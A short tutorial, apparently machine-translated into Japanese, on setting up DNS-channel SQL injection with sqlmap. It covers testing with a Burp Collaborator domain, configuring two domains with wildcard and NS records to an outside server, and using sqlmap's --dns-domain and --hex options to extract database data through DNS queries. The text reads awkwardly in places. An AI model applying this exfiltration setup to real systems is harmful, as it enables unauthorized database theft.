インターネット上には、sqlmap の DNS インジェクションに関する記事が少なすぎます。--dns-domain パラメータについて簡単に紹介しているだけです。関連する実用的な記事は曖昧であるか、一度に言及されているため、混乱を招きます (主に料理、鍵はまだボスが持ってきていません)。そこでネット上の方法を参考に再度やってみました。
準備する必要があるものは、1 つの sqlmap、Windows ブラインド インジェクション、2 つのドメイン名、および外部ネットワーク サーバーです。
#ある時、何かをしていたときに、タイムブラインドインジェクションというものに出会い、それが Windows マシンだったので、DNS インジェクションの方法を思い出しました。
始める前に、sqlmap の --sql-shell コマンドを使用して、DNS インジェクション ペイロードをテストする予定です
まず、burpsuite のコラボレーター クライアントに移動し、burp によって配置されたドメイン名をコピーします。
sqlmap を使用して SQL ステートメントを実行します
Sqlmapまだ実行中です リクエストは burpsuite で受信されました。
352E362E3134.9hreqpopru1xgf9skq473yo14sajy8.burpcollaborator.net. 352E362E3134 は、version() を実行した後に返される結果です。 デコードして mysql のバージョンを取得します。まあ、現時点ではDNSインジェクションに問題はありません。 2 つのドメイン名を設定する準備をします。インターネット上の一部の記事では 1 つで大丈夫と書かれていますが、いつも面倒に感じます。多くのドメイン ネーム サーバー プロバイダーは特定の高度な機能を提供していないため、2 つ用意する方が簡単です。 www.a.com www.b.comまず、ドメイン名 a-> a.comを設定します。
* を追加するだけで汎分析を実行し、外部ネットワーク サーバーの IP を指定できます。 さあ、ドメイン名 b->b.com を設定しましょう。 これはさらに簡単です。ドメイン名の DNS を直接変更して、次のように入力するだけです。 ns1 .a.com ns2.a.com で十分です。他に何もする必要はなく、入力するだけです。 その後、ドメイン名が有効になるまで待ちます。外部ネットワーク サーバーにアクセスして、解析が成功したかどうかをテストします。 サーバーはポート 53 のリッスンを開始します。 #その後、ローカル コンピュータが hello.b.com に ping を実行し、それを外部サーバーに送信します。hello.b.com からのリクエストを受信することができました。ローカル コンピュータは、ホストが見つからないため、ホストを見つける必要がないことを示すプロンプトを表示します。解析を設定していないため、無視されます。すべての設定が完了したので、DNS インジェクションに sqlmap を使用できます。 パラメータ --dns-domain=b.com --hex を Sqlmap に追加すると、次のことが可能になります。 このステップで、sqlmap がスタックし、DNS サーバー インスタンスのセットアップを求めるプロンプトが表示されます。Direct ctrl c プロンプトが表示され、DNS チャネルを介してデータを取得するように求められます。成功です。 インジェクション速度はエラーレポートやユニオンと同じくらい速いため、遅い速度に耐える必要はもうありません。以上がsqlmap _dns インジェクション構成方法とは何ですか?の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。